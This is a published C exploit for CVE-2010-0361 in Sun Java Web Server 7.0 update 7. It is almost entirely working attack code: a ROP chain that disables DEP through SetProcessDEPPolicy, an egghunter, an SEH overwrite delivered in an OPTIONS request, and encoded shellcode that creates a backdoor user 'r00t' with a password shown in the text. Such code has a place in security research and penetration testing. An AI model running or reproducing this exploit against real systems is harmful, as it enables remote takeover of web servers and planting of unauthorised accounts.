Sun Java Web Server 7.0 u7 Exploit with DEP bypass

                                                # Exploit Title: [SJWSexv2]
# Date: [09/07/2010]
# Author: [dmc]
# Software Link: [download link if available]
# Version: [7.0 u7]
# Tested on: [Windows XP SP3 - with and without DEP]
# CVE : [CVE-2010-0361]
 
/* Sun Java Web Server Exploit v2
 *
 * Tested on:
 * Sun Java Web Server 7.0 update 7 - XP SP3
 * Ref: CVE-2010-0361
 *
 * This exploit is capable of bypassing DEP.
 * In order to do this it uses ROP to invoke
 * SetProcessDEPPolicy().
 *
 * Author: Dominic Chell <[email protected]>
 * Date: 08/07/2010
 */
 
#include "stdafx.h"
#include <stdio.h>
#include <stdlib.h>
#include <errno.h>
#include <string.h>
#include "winsock2.h"
 
#pragma comment(lib, "ws2_32")
 
#define usage(){(void)fprintf(stderr, "SJWSexv2 vs Sun Java Web Server 7.0 u7\n(C) dmc <[email protected]>\n\nUsage: sjwsex.exe [ip] [port] [directory]\nExample: sjwsex.exe 127.0.0.1 80 test\n");}
#define error(e){ (void)fprintf(stderr,"%s\n",e); return -1;}
 
// encoding the payloads in URL hex prevents it getting converted to unicode
char seh[] = "%90%80%02%10"; // 0x10028090 :  # ADD ESP,700 # RETN    [Module : ns-httpd40.dll]
char *nop = "%90"; // nop
char egghunter[] = "%66%81%CA%FF%0F%42%52%6A%02%58%CD%2E%3C%05%5A%74%EF%B8%77%30%30%74%8B%FA%AF%75%EA%AF%75%E7%FF%E7";
char *egg = "%77%30%30%74%77%30%30%74"; // w00tw00t
char *deadbeef = "%ef%be%ad%de";
char *ropayload = "%F2%C2%02%10" // 0x1002C2F2 :  # OR EAX,FFFFFFFF # POP EBX # RETN      [Module : ns-httpd40.dll]
                "%FF%FF%FF%FF" // put in to ebx
                "%4C%C1%02%10" // 0x1002C14C :  # INC EBX # XOR EAX,EAX # RETN  [Module : ns-httpd40.dll]
                "%E8%45%0D%10" // 0x100D45E8 :  # OR EAX,FFFFFFFF # POP EBP # RETN      [Module : ns-httpd40.dll]
                "%A4%22%86%7C" // 0x7C8622A4 SetProcessDEPPolicy, into EBP
                "%9D%31%08%10" // 0x1008319D :  # OR EAX,FFFFFFFF # POP EDI # RETN      [Module : ns-httpd40.dll]
                "%BF%13%01%10" // 0x100113BF :  # NOP # MOV EAX,DWORD PTR SS:[ESP+4] # MOV EAX,DWORD PTR DS:[EAX+14] # RETN       [Module : ns-httpd40.dll]
                "%BA%13%01%10" // 0x100113BA :  # POP ESI # RETN  [Module : ns-httpd40.dll]
                "%BF%13%01%10" // 0x100113BF :  # NOP # MOV EAX,DWORD PTR SS:[ESP+4] # MOV EAX,DWORD PTR DS:[EAX+14] # RETN       [Module : ns-httpd40.dll]
                "%0D%7C%0A%10"; // 0x100A7C0D :  # PUSHAD # RETN   [Module : ns-httpd40.dll]
// adduser r00t / r00tr00t123
char shellcode[] =
    "%89%e6%db%cd%d9%76%f4%58%50%59%49%49%49%49%43"
    "%43%43%43%43%43%51%5a%56%54%58%33%30%56%58%34"
    "%41%50%30%41%33%48%48%30%41%30%30%41%42%41%41"
    "%42%54%41%41%51%32%41%42%32%42%42%30%42%42%58"
    "%50%38%41%43%4a%4a%49%4b%4c%4d%38%4b%39%45%50"
    "%45%50%43%30%43%50%4d%59%4b%55%46%51%48%52%42"
    "%44%4c%4b%46%32%50%30%4c%4b%46%32%44%4c%4c%4b"
    "%51%42%44%54%4c%4b%42%52%46%48%44%4f%4f%47%51"
    "%5a%47%56%46%51%4b%4f%50%31%49%50%4e%4c%47%4c"
    "%43%51%43%4c%45%52%46%4c%47%50%49%51%48%4f%44"
    "%4d%43%31%48%47%4d%32%4c%30%46%32%46%37%4c%4b"
    "%50%52%44%50%4c%4b%47%32%47%4c%45%51%48%50%4c"
    "%4b%51%50%43%48%4d%55%49%50%44%34%51%5a%45%51"
    "%48%50%50%50%4c%4b%47%38%44%58%4c%4b%50%58%51"
    "%30%45%51%4e%33%4a%43%47%4c%51%59%4c%4b%47%44"
    "%4c%4b%45%51%4e%36%46%51%4b%4f%46%51%49%50%4e"
    "%4c%49%51%48%4f%44%4d%43%31%48%47%50%38%4b%50"
    "%43%45%4a%54%43%33%43%4d%4b%48%47%4b%43%4d%47"
    "%54%43%45%4a%42%46%38%4c%4b%50%58%46%44%45%51"
    "%48%53%42%46%4c%4b%44%4c%50%4b%4c%4b%50%58%45"
    "%4c%43%31%49%43%4c%4b%44%44%4c%4b%45%51%4e%30"
    "%4d%59%50%44%47%54%46%44%51%4b%51%4b%45%31%50"
    "%59%50%5a%46%31%4b%4f%4b%50%46%38%51%4f%50%5a"
    "%4c%4b%42%32%4a%4b%4b%36%51%4d%43%5a%43%31%4c"
    "%4d%4b%35%4e%59%45%50%43%30%43%30%46%30%43%58"
    "%46%51%4c%4b%42%4f%4d%57%4b%4f%48%55%4f%4b%4b"
    "%50%45%4d%46%4a%45%5a%45%38%49%36%4a%35%4f%4d"
    "%4d%4d%4b%4f%48%55%47%4c%45%56%43%4c%44%4a%4d"
    "%50%4b%4b%4d%30%42%55%44%45%4f%4b%50%47%42%33"
    "%42%52%42%4f%42%4a%43%30%46%33%4b%4f%4e%35%45"
    "%33%42%4d%45%34%46%4e%43%55%44%38%45%35%51%30"
    "%46%4f%43%53%47%50%42%4e%45%35%42%54%51%30%43"
    "%45%42%53%45%35%43%42%51%30%44%32%50%30%46%50"
    "%42%54%51%30%43%42%46%50%46%50%42%54%44%32%50"
    "%30%46%50%43%44%46%51%46%52%46%53%47%50%46%4f"
    "%51%51%50%44%51%54%47%50%51%36%46%46%51%30%42"
    "%4e%43%55%44%34%51%30%42%4c%42%4f%45%33%45%31"
    "%42%4c%43%57%43%42%42%4f%44%35%42%50%47%50%51"
    "%51%42%44%42%4d%45%39%42%4e%43%59%42%53%44%34"
    "%44%32%45%31%43%44%42%4f%43%42%42%53%51%30%42"
    "%52%46%50%46%50%42%54%51%30%46%4f%47%31%50%44"
    "%51%54%45%50%45%5a%41%41";
 
int send_buffer(int ipaddr, int port, char *buffer)
{
    SOCKET s;
    struct fd_set mask;
    struct timeval timeout;
    struct sockaddr_in server;
    WSADATA info;
    if (WSAStartup(MAKEWORD(2,0), &info)) error("Unable to start WSA");
 
    s=socket(AF_INET,SOCK_STREAM,0);
    if (s==INVALID_SOCKET) error("[*] socket error");
    server.sin_family=AF_INET;
    server.sin_addr.s_addr=htonl(ipaddr);
    server.sin_port=htons(port);   
 
    WSAConnect(s,(struct sockaddr *)&server,sizeof(server),NULL,NULL,NULL,NULL);
    timeout.tv_sec=3;timeout.tv_usec=0;FD_ZERO(&mask);FD_SET(s,&mask);
 
    select(s+1,NULL,&mask,NULL,&timeout);
    if(FD_ISSET(s,&mask))
    {
            if (send(s,buffer,strlen(buffer),0)==SOCKET_ERROR) error("[*] error sending buffer\n");
            closesocket(s);
            return 0;
    }
}
 
int main(int argc, char *argv[])
{
    char *verb="GET /";
    char *options="OPTIONS /";
    char *version=" HTTP/1.0";
    char *directory="";
    char *payload, *ptr, *buffer;
    char nopsled1[1510], nopsled2[190], padding[400], padding2[210];
     
    if(argc < 4)
    {
        usage();
        return 0;
    }
 
    int ipaddr=htonl(inet_addr(argv[1])), port=atoi(argv[2]);
    directory = argv[3];
    fprintf(stderr, "SJWSexv2 vs Sun Java Web Server 7.0 u7\n(C) dmc <[email protected]>\n\n");
 
    int nopslen = 136 - strlen(directory);
 
    memset(nopsled1, 0x00, sizeof(nopsled1));
    for(int i=0;i<500;i++)
        strcat(nopsled1, nop);
 
    memset(padding, 0x00, sizeof(padding));
    for(int i=0;i<nopslen;i++)
        strcat(padding, nop);
 
    memset(nopsled2, 0x00, sizeof(nopsled2));
    for(int i=0;i<60;i++)
        strcat(nopsled2, nop);
 
    memset(padding2, 0x00, sizeof(padding2));
    for(int i=0; i<200; i++)
        padding2[i] = 'B';
 
    // build payload and place shellcode in memory
    payload = (char*)malloc(strlen(egg)+strlen(shellcode)+strlen(verb)+strlen(version)+2);
    memset(payload, 0x00, sizeof(payload));
    ptr=payload;
     
    memcpy(ptr, verb, strlen(verb));
    ptr+=strlen(verb);
    memcpy(ptr, egg, strlen(egg));
    ptr+=strlen(egg);
    memcpy(ptr, shellcode, strlen(shellcode));
    ptr+=strlen(shellcode);
    memcpy(ptr, version, strlen(version));
    ptr+=strlen(version);
    memcpy(ptr, "\n\0", 2);
 
    fprintf(stderr, "%s\n", "[*] Filling memory with shellcode");
    for (int i=0; i<4; i++)
    {
        send_buffer(ipaddr, port, payload);
    }
 
    // build final buffer and overwrite seh
    // [ OPTIONS / | DIRECTORY | PADDING | ROP | NOPS | EGGHUNTER | NOPSLED | SEH = PIVOT | PADDING | HTTPVERSION ]
    int len=0;
    // seh overwritten at 768
    len = strlen(options) + strlen(directory) + strlen(padding) + strlen(ropayload) + strlen(nopsled1);
    len = len + strlen(egghunter) + strlen(seh) + strlen(nopsled2) + strlen(padding2) + strlen(version) + 3;
 
    buffer=(char*)malloc(len);
    memset(buffer, 0x00, sizeof(buffer));
    ptr=buffer;
     
    memcpy(ptr, options, strlen(options));
    ptr+=strlen(options);
    memcpy(ptr, directory, strlen(directory));
    ptr+=strlen(directory);
    memcpy(ptr, "/", 1);
    ptr++;
 
    memcpy(ptr, padding, strlen(padding));
    ptr+=strlen(padding);
 
    memcpy(ptr, ropayload, strlen(ropayload));
    ptr+=strlen(ropayload);
 
    memcpy(ptr, nopsled2, strlen(nopsled2));
    ptr+=strlen(nopsled2);
 
    memcpy(ptr, egghunter, strlen(egghunter));
    ptr+=strlen(egghunter);
 
    memcpy(ptr, nopsled1, strlen(nopsled1));
    ptr+=strlen(nopsled1);
 
    memcpy(ptr, seh, strlen(seh));
    ptr+=strlen(seh);
 
    memcpy(ptr, padding2, strlen(padding2));
    ptr+=strlen(padding2);
 
    memcpy(ptr, version, strlen(version));
    ptr+=strlen(version);
    memcpy(ptr, "\n\n\0", 3);
 
    fprintf(stderr, "%s\n", "[*] Sending final buffer");
    send_buffer(ipaddr, port, buffer);
    fprintf(stderr, "%s\n", "[*] Wait several minutes and connect with r00t / r00tr00t123");
 
    return 0;
}


© Offensive Security 2010